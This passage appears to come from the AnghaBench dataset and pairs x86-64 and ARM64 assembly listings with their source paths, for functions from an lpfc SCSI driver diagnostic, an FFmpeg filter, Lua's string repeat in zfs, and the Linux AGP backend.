.comm _lpfc_mbx_run_diag_test_loops,4,2 ## @lpfc_mbx_run_diag_test_loops
.comm _lpfc_mbx_run_diag_test_test_ver,4,2 ## @lpfc_mbx_run_diag_test_test_ver
.comm _lpfc_mbx_run_diag_test_err_act,4,2 ## @lpfc_mbx_run_diag_test_err_act
.comm _MBX_POLL,4,2 ## @MBX_POLL
.comm _lpfc_mbox_hdr_status,4,2 ## @lpfc_mbox_hdr_status
.comm _lpfc_mbox_hdr_add_status,4,2 ## @lpfc_mbox_hdr_add_status
.comm _KERN_ERR,4,2 ## @KERN_ERR
L_.str.1: ## @.str.1
.asciz "3010 Run link diag test mailbox failed with mbx_status x%x status x%x, add_status x%x\n"
L_.str.2: ## @.str.2
.asciz "3012 Received Run link diag test reply below minimum size (%d): reply_len:%d\n"
.no_dead_strip _lpfc_sli4_bsg_link_diag_test
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.p2align 2 ; -- Begin function lpfc_sli4_bsg_link_diag_test
_lpfc_sli4_bsg_link_diag_test: ; @lpfc_sli4_bsg_link_diag_test
.cfi_startproc
; %bb.0:
sub sp, sp, #96
.cfi_def_cfa_offset 96
stp x26, x25, [sp, #16] ; 16-byte Folded Spill
stp x24, x23, [sp, #32] ; 16-byte Folded Spill
stp x22, x21, [sp, #48] ; 16-byte Folded Spill
stp x20, x19, [sp, #64] ; 16-byte Folded Spill
stp x29, x30, [sp, #80] ; 16-byte Folded Spill
add x29, sp, #80
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w19, -24
.cfi_offset w20, -32
.cfi_offset w21, -40
.cfi_offset w22, -48
.cfi_offset w23, -56
.cfi_offset w24, -64
.cfi_offset w25, -72
.cfi_offset w26, -80
mov x19, x0
ldr x8, [x0, #32]
cbz x8, LBB0_8
; %bb.1:
ldr x8, [x8]
cbz x8, LBB0_8
; %bb.2:
ldr x20, [x8]
cbz x20, LBB0_8
; %bb.3:
ldr x8, [x20]
Lloh0:
adrp x9, _LPFC_SLI_REV4@GOTPAGE
Lloh1:
ldr x9, [x9, _LPFC_SLI_REV4@GOTPAGEOFF]
Lloh2:
ldr x9, [x9]
cmp x8, x9
b.lt LBB0_8
; %bb.4:
Lloh3:
adrp x8, _lpfc_sli_intf_if_type@GOTPAGE
Lloh4:
ldr x8, [x8, _lpfc_sli_intf_if_type@GOTPAGEOFF]
Lloh5:
ldr w0, [x8]
add x1, x20, #20
bl _bf_get
Lloh6:
adrp x8, _LPFC_SLI_INTF_IF_TYPE_2@GOTPAGE
Lloh7:
ldr x8, [x8, _LPFC_SLI_INTF_IF_TYPE_2@GOTPAGEOFF]
Lloh8:
ldr x8, [x8]
cmp x0, x8
b.ne LBB0_8
; %bb.5:
ldr w4, [x19]
cmp w4, #23
b.hi LBB0_13
; %bb.6:
Lloh9:
adrp x8, _KERN_WARNING@GOTPAGE
Lloh10:
ldr x8, [x8, _KERN_WARNING@GOTPAGEOFF]
Lloh11:
ldr w1, [x8]
Lloh12:
adrp x8, _LOG_LIBDFC@GOTPAGE
Lloh13:
ldr x8, [x8, _LOG_LIBDFC@GOTPAGEOFF]
Lloh14:
ldr w2, [x8]
Lloh15:
adrp x3, l_.str@PAGE
Lloh16:
add x3, x3, l_.str@PAGEOFF
mov x0, x20
mov w5, #24
LBB0_7:
bl _lpfc_printf_log
Lloh17:
adrp x8, _EINVAL@GOTPAGE
Lloh18:
ldr x8, [x8, _EINVAL@GOTPAGEOFF]
b LBB0_9
LBB0_8:
Lloh19:
adrp x8, _ENODEV@GOTPAGE
Lloh20:
ldr x8, [x8, _ENODEV@GOTPAGEOFF]
LBB0_9:
ldr w8, [x8]
neg w22, w8
LBB0_10:
ldr x8, [x19, #16]
str w22, [x8]
cbnz w22, LBB0_12
; %bb.11:
ldr x8, [x19, #8]
mov x0, x19
blr x8
LBB0_12:
mov x0, x22
ldp x29, x30, [sp, #80] ; 16-byte Folded Reload
ldp x20, x19, [sp, #64] ; 16-byte Folded Reload
ldp x22, x21, [sp, #48] ; 16-byte Folded Reload
ldp x24, x23, [sp, #32] ; 16-byte Folded Reload
ldp x26, x25, [sp, #16] ; 16-byte Folded Reload
add sp, sp, #96
ret
LBB0_13:
mov x0, x20
bl _lpfc_bsg_diag_mode_enter
mov x22, x0
cbnz w0, LBB0_15
; %bb.14:
ldr x8, [x19, #24]
ldr x23, [x8]
mov x0, x20
mov w1, #1
bl _lpfc_sli4_bsg_set_link_diag_state
mov x22, x0
cbz w0, LBB0_16
LBB0_15:
ldr x8, [x19, #16]
str w22, [x8]
b LBB0_12
LBB0_16:
ldr w0, [x20, #8]
Lloh21:
adrp x8, _GFP_KERNEL@GOTPAGE
Lloh22:
ldr x8, [x8, _GFP_KERNEL@GOTPAGEOFF]
Lloh23:
ldr w1, [x8]
bl _mempool_alloc
cbz x0, LBB0_24
; %bb.17:
mov x21, x0
Lloh24:
adrp x8, _LPFC_MBOX_SUBSYSTEM_FCOE@GOTPAGE
Lloh25:
ldr x8, [x8, _LPFC_MBOX_SUBSYSTEM_FCOE@GOTPAGEOFF]
Lloh26:
ldr w2, [x8]
Lloh27:
adrp x8, _LPFC_MBOX_OPCODE_FCOE_LINK_DIAG_STATE@GOTPAGE
Lloh28:
ldr x8, [x8, _LPFC_MBOX_OPCODE_FCOE_LINK_DIAG_STATE@GOTPAGEOFF]
Lloh29:
ldr w3, [x8]
Lloh30:
adrp x8, _LPFC_SLI4_MBX_EMBED@GOTPAGE
Lloh31:
ldr x8, [x8, _LPFC_SLI4_MBX_EMBED@GOTPAGEOFF]
Lloh32:
ldr w5, [x8]
mov x0, x20
mov x1, x21
mov x4, #0
bl _lpfc_sli4_config
cbnz x0, LBB0_26
; %bb.18:
Lloh33:
adrp x8, _lpfc_mbx_run_diag_test_link_num@GOTPAGE
Lloh34:
ldr x8, [x8, _lpfc_mbx_run_diag_test_link_num@GOTPAGEOFF]
Lloh35:
ldr w0, [x8]
add x22, x21, #4
ldr w2, [x20, #16]
mov x1, x22
bl _bf_set
Lloh36:
adrp x8, _lpfc_mbx_run_diag_test_link_type@GOTPAGE
Lloh37:
ldr x8, [x8, _lpfc_mbx_run_diag_test_link_type@GOTPAGEOFF]
Lloh38:
ldr w0, [x8]
ldr w2, [x20, #12]
mov x1, x22
bl _bf_set
Lloh39:
adrp x8, _lpfc_mbx_run_diag_test_test_id@GOTPAGE
Lloh40:
ldr x8, [x8, _lpfc_mbx_run_diag_test_test_id@GOTPAGEOFF]
Lloh41:
ldr w0, [x8]
ldr w2, [x23, #16]
mov x1, x22
bl _bf_set
Lloh42:
adrp x8, _lpfc_mbx_run_diag_test_loops@GOTPAGE
Lloh43:
ldr x8, [x8, _lpfc_mbx_run_diag_test_loops@GOTPAGEOFF]
Lloh44:
ldr w0, [x8]
ldr w2, [x23, #12]
mov x1, x22
bl _bf_set
Lloh45:
adrp x8, _lpfc_mbx_run_diag_test_test_ver@GOTPAGE
Lloh46:
ldr x8, [x8, _lpfc_mbx_run_diag_test_test_ver@GOTPAGEOFF]
Lloh47:
ldr w0, [x8]
ldr w2, [x23, #8]
mov x1, x22
bl _bf_set
Lloh48:
adrp x8, _lpfc_mbx_run_diag_test_err_act@GOTPAGE
Lloh49:
ldr x8, [x8, _lpfc_mbx_run_diag_test_err_act@GOTPAGEOFF]
Lloh50:
ldr w0, [x8]
ldr w2, [x23, #4]
mov x1, x22
bl _bf_set
Lloh51:
adrp x8, _MBX_POLL@GOTPAGE
Lloh52:
ldr x8, [x8, _MBX_POLL@GOTPAGEOFF]
Lloh53:
ldr w2, [x8]
mov x0, x20
mov x1, x21
bl _lpfc_sli_issue_mbox
mov x22, x0
Lloh54:
adrp x8, _lpfc_mbox_hdr_status@GOTPAGE
Lloh55:
ldr x8, [x8, _lpfc_mbox_hdr_status@GOTPAGEOFF]
Lloh56:
ldr w0, [x8]
mov x1, x21
bl _bf_get
mov x23, x0
Lloh57:
adrp x8, _lpfc_mbox_hdr_add_status@GOTPAGE
Lloh58:
ldr x8, [x8, _lpfc_mbox_hdr_add_status@GOTPAGEOFF]
Lloh59:
ldr w0, [x8]
mov x1, x21
bl _bf_get
mov x24, x0
Lloh60:
adrp x25, _LOG_LIBDFC@GOTPAGE
Lloh61:
ldr x25, [x25, _LOG_LIBDFC@GOTPAGEOFF]
cbnz x23, LBB0_21
; %bb.19:
cbnz x24, LBB0_21
; %bb.20:
cbz w22, LBB0_22
LBB0_21:
Lloh62:
adrp x8, _KERN_ERR@GOTPAGE
Lloh63:
ldr x8, [x8, _KERN_ERR@GOTPAGEOFF]
Lloh64:
ldr w1, [x8]
ldr w2, [x25]
str x24, [sp]
Lloh65:
adrp x3, l_.str.1@PAGE
Lloh66:
add x3, x3, l_.str.1@PAGEOFF
mov x0, x20
mov x4, x22
mov x5, x23
bl _lpfc_printf_log
LBB0_22:
ldr w5, [x19, #4]
cmp w5, #27
b.hi LBB0_25
; %bb.23:
Lloh67:
adrp x8, _KERN_WARNING@GOTPAGE
Lloh68:
ldr x8, [x8, _KERN_WARNING@GOTPAGEOFF]
Lloh69:
ldr w1, [x8]
ldr w2, [x25]
Lloh70:
adrp x3, l_.str.2@PAGE
Lloh71:
add x3, x3, l_.str.2@PAGEOFF
mov x0, x20
mov w4, #28
b LBB0_7
LBB0_24:
mov x0, x20
mov w1, #0
bl _lpfc_sli4_bsg_set_link_diag_state
mov x22, x0
b LBB0_27
LBB0_25:
ldr x8, [x19, #16]
ldr x8, [x8, #8]
str w22, [x8]
stp x24, x23, [x8, #8]
LBB0_26:
mov x0, x20
mov w1, #0
bl _lpfc_sli4_bsg_set_link_diag_state
mov x22, x0
ldr w1, [x20, #8]
mov x0, x21
bl _mempool_free
LBB0_27:
mov x0, x20
bl _lpfc_bsg_diag_mode_exit
b LBB0_10
.loh AdrpLdrGotLdr Lloh0, Lloh1, Lloh2
.loh AdrpLdrGotLdr Lloh6, Lloh7, Lloh8
.loh AdrpLdrGotLdr Lloh3, Lloh4, Lloh5
.loh AdrpAdd Lloh15, Lloh16
.loh AdrpLdrGotLdr Lloh12, Lloh13, Lloh14
.loh AdrpLdrGotLdr Lloh9, Lloh10, Lloh11
.loh AdrpLdrGot Lloh17, Lloh18
.loh AdrpLdrGot Lloh19, Lloh20
.loh AdrpLdrGotLdr Lloh21, Lloh22, Lloh23
.loh AdrpLdrGotLdr Lloh30, Lloh31, Lloh32
.loh AdrpLdrGotLdr Lloh27, Lloh28, Lloh29
.loh AdrpLdrGotLdr Lloh24, Lloh25, Lloh26
.loh AdrpLdrGot Lloh60, Lloh61
.loh AdrpLdrGotLdr Lloh57, Lloh58, Lloh59
.loh AdrpLdrGotLdr Lloh54, Lloh55, Lloh56
.loh AdrpLdrGotLdr Lloh51, Lloh52, Lloh53
.loh AdrpLdrGotLdr Lloh48, Lloh49, Lloh50
.loh AdrpLdrGotLdr Lloh45, Lloh46, Lloh47
.loh AdrpLdrGotLdr Lloh42, Lloh43, Lloh44
.loh AdrpLdrGotLdr Lloh39, Lloh40, Lloh41
.loh AdrpLdrGotLdr Lloh36, Lloh37, Lloh38
.loh AdrpLdrGotLdr Lloh33, Lloh34, Lloh35
.loh AdrpAdd Lloh65, Lloh66
.loh AdrpLdrGotLdr Lloh62, Lloh63, Lloh64
.loh AdrpAdd Lloh70, Lloh71
.loh AdrpLdrGotLdr Lloh67, Lloh68, Lloh69
.cfi_endproc
; -- End function
.comm _ENODEV,4,2 ; @ENODEV
.comm _LPFC_SLI_REV4,8,3 ; @LPFC_SLI_REV4
.comm _lpfc_sli_intf_if_type,4,2 ; @lpfc_sli_intf_if_type
.comm _LPFC_SLI_INTF_IF_TYPE_2,8,3 ; @LPFC_SLI_INTF_IF_TYPE_2
.comm _KERN_WARNING,4,2 ; @KERN_WARNING
.comm _LOG_LIBDFC,4,2 ; @LOG_LIBDFC
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "3013 Received LINK DIAG TEST request size:%d below the minimum size:%d\n"
.comm _EINVAL,4,2 ; @EINVAL
.comm _GFP_KERNEL,4,2 ; @GFP_KERNEL
.comm _ENOMEM,4,2 ; @ENOMEM
.comm _LPFC_MBOX_SUBSYSTEM_FCOE,4,2 ; @LPFC_MBOX_SUBSYSTEM_FCOE
.comm _LPFC_MBOX_OPCODE_FCOE_LINK_DIAG_STATE,4,2 ; @LPFC_MBOX_OPCODE_FCOE_LINK_DIAG_STATE
.comm _LPFC_SLI4_MBX_EMBED,4,2 ; @LPFC_SLI4_MBX_EMBED
.comm _lpfc_mbx_run_diag_test_link_num,4,2 ; @lpfc_mbx_run_diag_test_link_num
.comm _lpfc_mbx_run_diag_test_link_type,4,2 ; @lpfc_mbx_run_diag_test_link_type
.comm _lpfc_mbx_run_diag_test_test_id,4,2 ; @lpfc_mbx_run_diag_test_test_id
.comm _lpfc_mbx_run_diag_test_loops,4,2 ; @lpfc_mbx_run_diag_test_loops
.comm _lpfc_mbx_run_diag_test_test_ver,4,2 ; @lpfc_mbx_run_diag_test_test_ver
.comm _lpfc_mbx_run_diag_test_err_act,4,2 ; @lpfc_mbx_run_diag_test_err_act
.comm _MBX_POLL,4,2 ; @MBX_POLL
.comm _lpfc_mbox_hdr_status,4,2 ; @lpfc_mbox_hdr_status
.comm _lpfc_mbox_hdr_add_status,4,2 ; @lpfc_mbox_hdr_add_status
.comm _KERN_ERR,4,2 ; @KERN_ERR
l_.str.1: ; @.str.1
.asciz "3010 Run link diag test mailbox failed with mbx_status x%x status x%x, add_status x%x\n"
l_.str.2: ; @.str.2
.asciz "3012 Received Run link diag test reply below minimum size (%d): reply_len:%d\n"
.no_dead_strip _lpfc_sli4_bsg_link_diag_test
.subsections_via_symbols
| AnghaBench/fastsocket/kernel/drivers/scsi/lpfc/extr_lpfc_bsg.c_lpfc_sli4_bsg_link_diag_test.c | anghabench |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.p2align 4, 0x90 ## -- Begin function activate
_activate: ## @activate
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movq (%rdi), %rdi
popq %rbp
jmp _ff_framesync_activate ## TAILCALL
.cfi_endproc
## -- End function
.no_dead_strip _activate
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.p2align 2 ; -- Begin function activate
_activate: ; @activate
.cfi_startproc
; %bb.0:
ldr x0, [x0]
b _ff_framesync_activate
.cfi_endproc
; -- End function
.no_dead_strip _activate
.subsections_via_symbols
| AnghaBench/FFmpeg/libavfilter/extr_vf_overlay_qsv.c_activate.c | anghabench |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.p2align 4, 0x90 ## -- Begin function str_rep
_str_rep: ## @str_rep
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
pushq %r15
pushq %r14
pushq %r13
pushq %r12
pushq %rbx
subq $24, %rsp
.cfi_offset %rbx, -56
.cfi_offset %r12, -48
.cfi_offset %r13, -40
.cfi_offset %r14, -32
.cfi_offset %r15, -24
movq %rdi, %r13
movl $1, %r15d
leaq -48(%rbp), %rdx
movl $1, %esi
callq _luaL_checklstring
movq %rax, %r14
movq %r13, %rdi
movl $2, %esi
callq _luaL_checkint
movl %eax, %ebx
leaq L_.str(%rip), %rdx
leaq -56(%rbp), %rcx
movq %r13, %rdi
movl $3, %esi
callq _luaL_optlstring
testl %ebx, %ebx
jle LBB0_1
## %bb.2:
movq -48(%rbp), %rcx
movq -56(%rbp), %r15
movq %r15, %rsi
addq %rcx, %rsi
jb LBB0_4
## %bb.3:
movq %rax, %r12
movq _MAXSIZE@GOTPCREL(%rip), %rax
movl (%rax), %eax
cltd
idivl %ebx
cltq
cmpq %rax, %rsi
jae LBB0_4
## %bb.5:
movl %ebx, %eax
imulq %rax, %rcx
leal -1(%rbx), %eax
imulq %rax, %r15
addq %rcx, %r15
leaq -60(%rbp), %rsi
movq %r13, %rdi
movq %r15, %rdx
callq _luaL_buffinitsize
movq %rax, %r13
cmpl $2, %ebx
jb LBB0_10
## %bb.6:
incl %ebx
jmp LBB0_7
.p2align 4, 0x90
LBB0_9: ## in Loop: Header=BB0_7 Depth=1
decl %ebx
cmpl $2, %ebx
jbe LBB0_10
LBB0_7: ## =>This Inner Loop Header: Depth=1
movq -48(%rbp), %rdx
movq %r13, %rdi
movq %r14, %rsi
callq _memcpy
addq -48(%rbp), %r13
movq -56(%rbp), %rdx
testq %rdx, %rdx
je LBB0_9
## %bb.8: ## in Loop: Header=BB0_7 Depth=1
movq %r13, %rdi
movq %r12, %rsi
callq _memcpy
addq -56(%rbp), %r13
jmp LBB0_9
LBB0_4:
leaq L_.str.1(%rip), %rsi
movq %r13, %rdi
callq _luaL_error
movl %eax, %r15d
jmp LBB0_11
LBB0_1:
leaq L_.str(%rip), %rsi
movq %r13, %rdi
callq _lua_pushliteral
jmp LBB0_11
LBB0_10:
movq -48(%rbp), %rdx
movq %r13, %rdi
movq %r14, %rsi
callq _memcpy
leaq -60(%rbp), %rdi
movq %r15, %rsi
callq _luaL_pushresultsize
movl $1, %r15d
LBB0_11:
movl %r15d, %eax
addq $24, %rsp
popq %rbx
popq %r12
popq %r13
popq %r14
popq %r15
popq %rbp
retq
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.space 1
.comm _MAXSIZE,4,2 ## @MAXSIZE
L_.str.1: ## @.str.1
.asciz "resulting string too large"
.no_dead_strip _str_rep
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.p2align 2 ; -- Begin function str_rep
_str_rep: ; @str_rep
.cfi_startproc
; %bb.0:
sub sp, sp, #96
.cfi_def_cfa_offset 96
stp x24, x23, [sp, #32] ; 16-byte Folded Spill
stp x22, x21, [sp, #48] ; 16-byte Folded Spill
stp x20, x19, [sp, #64] ; 16-byte Folded Spill
stp x29, x30, [sp, #80] ; 16-byte Folded Spill
add x29, sp, #80
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w19, -24
.cfi_offset w20, -32
.cfi_offset w21, -40
.cfi_offset w22, -48
.cfi_offset w23, -56
.cfi_offset w24, -64
mov x22, x0
add x2, sp, #24
mov w1, #1
bl _luaL_checklstring
mov x19, x0
mov x0, x22
mov w1, #2
bl _luaL_checkint
mov x23, x0
Lloh0:
adrp x2, l_.str@PAGE
Lloh1:
add x2, x2, l_.str@PAGEOFF
add x3, sp, #16
mov x0, x22
mov w1, #3
bl _luaL_optlstring
cmp w23, #0
b.le LBB0_9
; %bb.1:
ldp x8, x9, [sp, #16]
adds x10, x8, x9
b.hs LBB0_8
; %bb.2:
Lloh2:
adrp x11, _MAXSIZE@GOTPAGE
Lloh3:
ldr x11, [x11, _MAXSIZE@GOTPAGEOFF]
Lloh4:
ldr w11, [x11]
sdiv w11, w11, w23
cmp x10, w11, sxtw
b.hs LBB0_8
; %bb.3:
mov x20, x0
mov w10, w23
mul x9, x9, x10
sub w10, w23, #1
madd x21, x8, x10, x9
add x1, sp, #12
mov x0, x22
mov x2, x21
bl _luaL_buffinitsize
mov x22, x0
cmp w23, #2
b.lo LBB0_10
; %bb.4:
add w23, w23, #1
b LBB0_6
LBB0_5: ; in Loop: Header=BB0_6 Depth=1
sub w23, w23, #1
cmp w23, #2
b.ls LBB0_10
LBB0_6: ; =>This Inner Loop Header: Depth=1
ldr x2, [sp, #24]
mov x0, x22
mov x1, x19
bl _memcpy
ldp x2, x8, [sp, #16]
add x22, x22, x8
cbz x2, LBB0_5
; %bb.7: ; in Loop: Header=BB0_6 Depth=1
mov x0, x22
mov x1, x20
bl _memcpy
ldr x8, [sp, #16]
add x22, x22, x8
b LBB0_5
LBB0_8:
Lloh5:
adrp x1, l_.str.1@PAGE
Lloh6:
add x1, x1, l_.str.1@PAGEOFF
mov x0, x22
bl _luaL_error
b LBB0_12
LBB0_9:
Lloh7:
adrp x1, l_.str@PAGE
Lloh8:
add x1, x1, l_.str@PAGEOFF
mov x0, x22
bl _lua_pushliteral
b LBB0_11
LBB0_10:
ldr x2, [sp, #24]
mov x0, x22
mov x1, x19
bl _memcpy
add x0, sp, #12
mov x1, x21
bl _luaL_pushresultsize
LBB0_11:
mov w0, #1
LBB0_12:
ldp x29, x30, [sp, #80] ; 16-byte Folded Reload
ldp x20, x19, [sp, #64] ; 16-byte Folded Reload
ldp x22, x21, [sp, #48] ; 16-byte Folded Reload
ldp x24, x23, [sp, #32] ; 16-byte Folded Reload
add sp, sp, #96
ret
.loh AdrpAdd Lloh0, Lloh1
.loh AdrpLdrGotLdr Lloh2, Lloh3, Lloh4
.loh AdrpAdd Lloh5, Lloh6
.loh AdrpAdd Lloh7, Lloh8
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.space 1
.comm _MAXSIZE,4,2 ; @MAXSIZE
l_.str.1: ; @.str.1
.asciz "resulting string too large"
.no_dead_strip _str_rep
.subsections_via_symbols
| AnghaBench/zfs/module/lua/extr_lstrlib.c_str_rep.c | anghabench |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.p2align 4, 0x90 ## -- Begin function agp_backend_initialize
_agp_backend_initialize: ## @agp_backend_initialize
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
pushq %r15
pushq %r14
pushq %r13
pushq %r12
pushq %rbx
pushq %rax
.cfi_offset %rbx, -56
.cfi_offset %r12, -48
.cfi_offset %r13, -40
.cfi_offset %r14, -32
.cfi_offset %r15, -24
movq %rdi, %rbx
xorl %r12d, %r12d
xorl %eax, %eax
callq _agp_find_max
movl %eax, 64(%rbx)
movq _agp_current_version@GOTPCREL(%rip), %rax
movq %rax, 56(%rbx)
movq 8(%rbx), %rcx
cmpq $0, 24(%rcx)
je LBB0_9
## %bb.1:
movq %rbx, %rdi
callq *72(%rcx)
testq %rax, %rax
je LBB0_5
## %bb.2:
movq %rax, 16(%rbx)
movq 8(%rbx), %rcx
movq 64(%rcx), %rcx
testq %rcx, %rcx
je LBB0_6
## %bb.3:
leaq 24(%rbx), %r14
movq %rax, %rdi
movq %r14, %rsi
callq *%rcx
testq %rax, %rax
je LBB0_7
## %bb.4:
movq 40(%rbx), %rdi
leaq L_.str.1(%rip), %rsi
callq _dev_err
movq _ENOMEM@GOTPCREL(%rip), %rax
movl (%rax), %r14d
xorl %r13d, %r13d
xorl %r12d, %r12d
jmp LBB0_21
LBB0_5:
movq 40(%rbx), %rdi
leaq L_.str(%rip), %rsi
callq _dev_err
movq _ENOMEM@GOTPCREL(%rip), %rax
xorl %r14d, %r14d
subl (%rax), %r14d
jmp LBB0_27
LBB0_6:
movq %rax, %rdi
callq _page_to_phys
movl %eax, %esi
movl %eax, 24(%rbx)
jmp LBB0_8
LBB0_7:
movl (%r14), %esi
LBB0_8:
movq 8(%rbx), %rax
movq %rbx, %rdi
xorl %edx, %edx
callq *56(%rax)
movl %eax, 48(%rbx)
movq 8(%rbx), %rcx
LBB0_9:
xorl %eax, %eax
callq *(%rcx)
movq _EINVAL@GOTPCREL(%rip), %r15
testl %eax, %eax
je LBB0_12
## %bb.10:
movq 8(%rbx), %rax
movq %rbx, %rdi
callq *48(%rax)
movq _ENOMEM@GOTPCREL(%rip), %r14
testq %rax, %rax
je LBB0_13
## %bb.11:
leaq L_.str.3(%rip), %rsi
xorl %r13d, %r13d
LBB0_17:
movq %r14, %r15
jmp LBB0_18
LBB0_12:
leaq L_.str.2(%rip), %rsi
xorl %r13d, %r13d
jmp LBB0_18
LBB0_13:
movq _PAGE_SIZE@GOTPCREL(%rip), %r13
movl (%r13), %edi
shll $2, %edi
callq _vmalloc
movq %rax, (%rbx)
testq %rax, %rax
je LBB0_16
## %bb.14:
movl (%r13), %edx
shll $2, %edx
xorl %r14d, %r14d
movq %rax, %rdi
xorl %esi, %esi
callq _memset
movq 8(%rbx), %rcx
xorl %eax, %eax
callq *40(%rcx)
testq %rax, %rax
je LBB0_28
## %bb.15:
movl $1, %r13d
leaq L_.str.5(%rip), %rsi
movl $1, %r12d
LBB0_18:
movq 40(%rbx), %rdi
callq _dev_err
movl (%r15), %r14d
movq 8(%rbx), %rax
cmpq $0, 24(%rax)
je LBB0_21
## %bb.19:
movq 32(%rax), %rcx
testq %rcx, %rcx
je LBB0_21
## %bb.20:
movq 16(%rbx), %rdi
movl 24(%rbx), %esi
callq *%rcx
LBB0_21:
movq 8(%rbx), %rax
cmpq $0, 24(%rax)
je LBB0_23
## %bb.22:
movq 16(%rbx), %rdi
callq _page_address
movq %rax, %r15
movq 8(%rbx), %rax
movq _AGP_PAGE_DESTROY_UNMAP@GOTPCREL(%rip), %rcx
movl (%rcx), %esi
movq %r15, %rdi
callq *16(%rax)
movq 8(%rbx), %rax
movq _AGP_PAGE_DESTROY_FREE@GOTPCREL(%rip), %rcx
movl (%rcx), %esi
movq %r15, %rdi
callq *16(%rax)
LBB0_23:
testl %r13d, %r13d
je LBB0_25
## %bb.24:
movq 8(%rbx), %rax
movq %rbx, %rdi
callq *8(%rax)
LBB0_25:
negl %r14d
testl %r12d, %r12d
je LBB0_27
## %bb.26:
movq (%rbx), %rdi
callq _vfree
movq $0, (%rbx)
LBB0_27:
movl %r14d, %eax
addq $8, %rsp
popq %rbx
popq %r12
popq %r13
popq %r14
popq %r15
popq %rbp
retq
LBB0_16:
movl $1, %r13d
leaq L_.str.4(%rip), %rsi
jmp LBB0_17
LBB0_28:
leaq 32(%rbx), %rdi
callq _INIT_LIST_HEAD
addq $28, %rbx
movq %rbx, %rdi
callq _spin_lock_init
jmp LBB0_27
.cfi_endproc
## -- End function
.comm _agp_current_version,4,2 ## @agp_current_version
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "can't get memory for scratch page\n"
.comm _ENOMEM,4,2 ## @ENOMEM
L_.str.1: ## @.str.1
.asciz "unable to dma-map scratch page\n"
L_.str.2: ## @.str.2
.asciz "can't determine aperture size\n"
.comm _EINVAL,4,2 ## @EINVAL
L_.str.3: ## @.str.3
.asciz "can't get memory for graphics translation table\n"
.comm _PAGE_SIZE,4,2 ## @PAGE_SIZE
L_.str.4: ## @.str.4
.asciz "can't allocate memory for key lists\n"
L_.str.5: ## @.str.5
.asciz "error configuring host chipset\n"
.comm _AGP_PAGE_DESTROY_UNMAP,4,2 ## @AGP_PAGE_DESTROY_UNMAP
.comm _AGP_PAGE_DESTROY_FREE,4,2 ## @AGP_PAGE_DESTROY_FREE
.no_dead_strip _agp_backend_initialize
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.p2align 2 ; -- Begin function agp_backend_initialize
_agp_backend_initialize: ; @agp_backend_initialize
.cfi_startproc
; %bb.0:
stp x24, x23, [sp, #-64]! ; 16-byte Folded Spill
.cfi_def_cfa_offset 64
stp x22, x21, [sp, #16] ; 16-byte Folded Spill
stp x20, x19, [sp, #32] ; 16-byte Folded Spill
stp x29, x30, [sp, #48] ; 16-byte Folded Spill
add x29, sp, #48
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w19, -24
.cfi_offset w20, -32
.cfi_offset w21, -40
.cfi_offset w22, -48
.cfi_offset w23, -56
.cfi_offset w24, -64
mov x19, x0
bl _agp_find_max
str w0, [x19, #64]
Lloh0:
adrp x8, _agp_current_version@GOTPAGE
Lloh1:
ldr x8, [x8, _agp_current_version@GOTPAGEOFF]
str x8, [x19, #56]
ldr x8, [x19, #8]
ldr x9, [x8, #24]
cbz x9, LBB0_9
; %bb.1:
ldr x8, [x8, #72]
mov x0, x19
blr x8
cbz x0, LBB0_5
; %bb.2:
str x0, [x19, #16]
ldr x8, [x19, #8]
ldr x8, [x8, #64]
cbz x8, LBB0_6
; %bb.3:
add x20, x19, #24
mov x1, x20
blr x8
cbz x0, LBB0_7
; %bb.4:
ldr x0, [x19, #40]
Lloh2:
adrp x1, l_.str.1@PAGE
Lloh3:
add x1, x1, l_.str.1@PAGEOFF
bl _dev_err
mov w22, #0
mov w21, #0
Lloh4:
adrp x8, _ENOMEM@GOTPAGE
Lloh5:
ldr x8, [x8, _ENOMEM@GOTPAGEOFF]
Lloh6:
ldr w23, [x8]
b LBB0_20
LBB0_5:
ldr x0, [x19, #40]
Lloh7:
adrp x1, l_.str@PAGE
Lloh8:
add x1, x1, l_.str@PAGEOFF
bl _dev_err
Lloh9:
adrp x8, _ENOMEM@GOTPAGE
Lloh10:
ldr x8, [x8, _ENOMEM@GOTPAGEOFF]
Lloh11:
ldr w8, [x8]
neg w20, w8
b LBB0_26
LBB0_6:
bl _page_to_phys
mov x1, x0
str w0, [x19, #24]
b LBB0_8
LBB0_7:
ldr w1, [x20]
LBB0_8:
ldr x8, [x19, #8]
ldr x8, [x8, #56]
mov x0, x19
mov w2, #0
blr x8
str w0, [x19, #48]
ldr x8, [x19, #8]
LBB0_9:
ldr x8, [x8]
blr x8
cbz w0, LBB0_12
; %bb.10:
ldr x8, [x19, #8]
ldr x8, [x8, #48]
mov x0, x19
blr x8
cbz x0, LBB0_13
; %bb.11:
mov w22, #0
mov w21, #0
Lloh12:
adrp x20, _ENOMEM@GOTPAGE
Lloh13:
